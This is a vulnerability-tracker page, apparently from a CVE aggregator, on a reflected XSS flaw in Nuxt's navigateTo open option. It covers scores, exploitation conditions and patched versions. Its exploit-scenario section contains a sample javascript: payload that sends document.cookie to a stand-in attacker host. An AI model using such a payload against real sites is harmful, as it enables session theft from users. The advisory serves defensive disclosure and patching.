Skip to main content

Nuxt EUVDEUVD-2026-38379

| CVE-2026-56698 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-22 VulnCheck GHSA-h345-75vh-jjwf
5.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify Nuxt app passing user input to navigateTo open option
  2. Delivery
    Craft javascript: URL as redirect target
  3. Exploit
    Deliver malicious link to victim via phishing or open redirect
  4. Execution
    Victim clicks link triggering navigateTo with open option
  5. Persist
    window.open() executes javascript: payload in app origin
  6. Impact
    Exfiltrate session data or perform authenticated actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target Nuxt application passes user-controlled input as the URL argument to navigateTo() with an open option (e.g., navigateTo(userInput, { open: { target: '_blank' } })). This is an application-level usage pattern, not a default framework behavior - Nuxt does not inherently expose this path without developer action. Additionally, a victim user must follow or be redirected to the attacker-crafted URL (passive user interaction, UI:P per CVSS 4.0). Exploitation is limited to client-side rendering contexts; SSR-only paths are not affected by this specific weakness. Authentication is not required of the attacker. The attack is bounded to Nuxt 3.x before 3.21.7 and 4.x versions 4.0.0 through 4.4.6.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N, score 5.3 Medium) accurately reflects the attack characteristics: network-reachable, low complexity, no attacker authentication required, but passive user interaction (UI:P) is a hard prerequisite - the victim must click or be redirected to a crafted URL. The impact is bounded to Low on confidentiality and integrity, consistent with reflected XSS limited to session context. No EPSS data was provided, so exploitation probability cannot be quantified numerically; however, the application-side prerequisite (user-controlled input flowing into navigateTo with the open option) meaningfully limits the exploitable population below the full Nuxt install base. No CISA KEV listing and no public POC are confirmed at time of analysis. Real-world priority is moderate: applications that explicitly expose post-login redirect or deep-link parameters in the open option are at elevated risk; applications that never pass external user input into navigateTo with open are not practically affected.

Exploit ScenarioDerived

An attacker identifies a Nuxt application that accepts a user-supplied URL parameter (e.g., ?next=) and passes it directly to navigateTo(url, { open: { target: '_blank' } }). The attacker crafts a link such as https://app.example.com/login?next=javascript:fetch('https://attacker.com/?c='+document.cookie) and distributes it via phishing. When a victim clicks the link, Nuxt's unpatched open handler calls window.open('javascript:...', '_blank'), executing the payload in the application's first-party origin and exfiltrating the session cookie. No public POC has been confirmed at time of analysis, but the technique is a well-understood reflected XSS pattern.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

Reflected XSS in Nuxt 3.x before 3.21.7 and 4.x before 4.4.7 enables client-side script execution in the application's first-party origin when user-controlled input is passed to the navigateTo() composable's open parameter. The client-side early-open handler invoked window.open(toPath, ...) without running the isScriptProtocol check that guards the normal navigation path, allowing javascript:, data:, and vbscript: scheme URLs to reach window.open() directly. No active exploitation has been confirmed (not listed in CISA KEV), but vendor-released patches are available in versions 4.4.7 and 3.21.7.

RemediationAI

Upgrade to Nuxt 4.4.7 (for 4.x users) or Nuxt 3.21.7 (for 3.x users); these are the vendor-confirmed fixed versions per GHSA-c9cv-mq2m-ppp3. The patches are at https://github.com/nuxt/nuxt/commit/3394716d4a913cba904b028df5338f2aead50032 and https://github.com/nuxt/nuxt/commit/62fc32eddf648b00a3890141e0235d2a222b024d. If an immediate upgrade is not possible, the specific compensating control is to audit all call sites of navigateTo that pass an open option and ensure no user-controlled value reaches the first argument without allowlist validation; rejecting any URL whose parsed protocol is not https: or http: is sufficient. This server-side or middleware-level input validation adds latency negligible in practice but does require code changes at every affected call site. Full advisory: https://github.com/nuxt/nuxt/security/advisories/GHSA-c9cv-mq2m-ppp3.

Affected VersionsENISA

nuxt 4.0.0 <4.4.7
nuxt 0 <3.21.7

Affected Packages

npm nuxt fix: 3.21.7, 4.4.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Nuxt is a Vue.js meta-framework (npm package nuxt) used to build SSR and client-side rendered web applications. The navigateTo composable in packages/nuxt/src/app/composables/router.ts provides a documented, framework-managed navigation API. For navigations opened in a new window or tab via { open: { target: '_blank' } }, the composable exercised a fast path that called window.open(toPath, ...) before reaching the existing isScriptProtocol guard. This omission - confirmed by the commit diff at 3394716 - is the root cause: CWE-79 (Improper Neutralization of Input During Web Page Generation, i.e., XSS). The fix resolves the toPath value against window.location.href with new URL(), extracts the resolved protocol, and throws if isScriptProtocol returns true - blocking javascript:, data:, and vbscript: schemes. Affected CPE: cpe:2.3:a:nuxt:nuxt across both the 3.x and 4.x branches.

Know when Nuxt gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered reflected XSS requiring user interaction; scope change to browser origin; low C/I impact bounded to session context.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Nuxt versions 4.0.0 before 4.4.7 and 3.x before 3.21.7 fail to validate script-capable URLs in the navigateTo open option, allowing client-side script execution. Attackers can supply javascript: URLs through the open parameter to execute arbitrary scripts in the application's origin when user-controlled input is passed to navigateTo.

Threat Intelligence Overview

EPSS Score
0.2%
Top 87% exploitable
Prevalence
High
popular Vue.js meta-framework with broad enterprise and startup adoption
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
High
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Nuxt

View all
CVE-2023-3224 CRITICAL POC
9.8 Jun 13

Code Injection in GitHub repository nuxt/nuxt prior to 3.5.3. Rated critical severity (CVSS 9.8), this vulnerability is

CVE-2024-34344 HIGH POC
8.8 Aug 05

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated high seve

CVE-2024-23657 HIGH POC
8.8 Aug 05

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated high seve

CVE-2024-42352 HIGH POC
7.5 Aug 05

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated high seve

CVE-2026-61793 MEDIUM POC
6.9 Sep 17

Unauthenticated server-side request forgery in Nuxt OG Image (the npm package nuxt-og-image) 6.0.2 through 6.6.x allows

CVE-2026-128074 MEDIUM POC
6.9 Nov 13

Quadratic-cost trailing-slash handling in Nuxt 4.6.0 through 4.6.3 lets an unauthenticated request with a long run of co

CVE-2026-128077 MEDIUM POC
6.5 Nov 13

Authorization and route-rule bypass in Nuxt 4.6.0 through 4.6.3 allows an unauthenticated remote attacker to reach page

CVE-2026-128071 MEDIUM POC
6.5 Nov 13

In Nuxt 3.0.0 through 4.6.3 (plus @nuxt/nitro-server 3.20.0 through 4.6.3 and @nuxt/vite-server 4.6.0 through 4.6.3), ro

CVE-2025-52662 MEDIUM POC
6.1 Nov 07

A vulnerability in Nuxt DevTools has been fixed in version **2.6.4***. Rated medium severity (CVSS 6.9), this vulnerabil

CVE-2024-34343 MEDIUM POC
6.1 Aug 05

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated medium se

CVE-2023-0878 MEDIUM POC
6.1 Feb 17

Cross-site Scripting (XSS) - Generic in GitHub repository nuxt/framework prior to 3.2.1. Rated medium severity (CVSS 6.1

CVE-2022-4413 MEDIUM POC
6.1 Dec 12

Cross-site Scripting (XSS) - Reflected in GitHub repository nuxt/framework prior to v3.0.0-rc.13. Rated medium severity

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy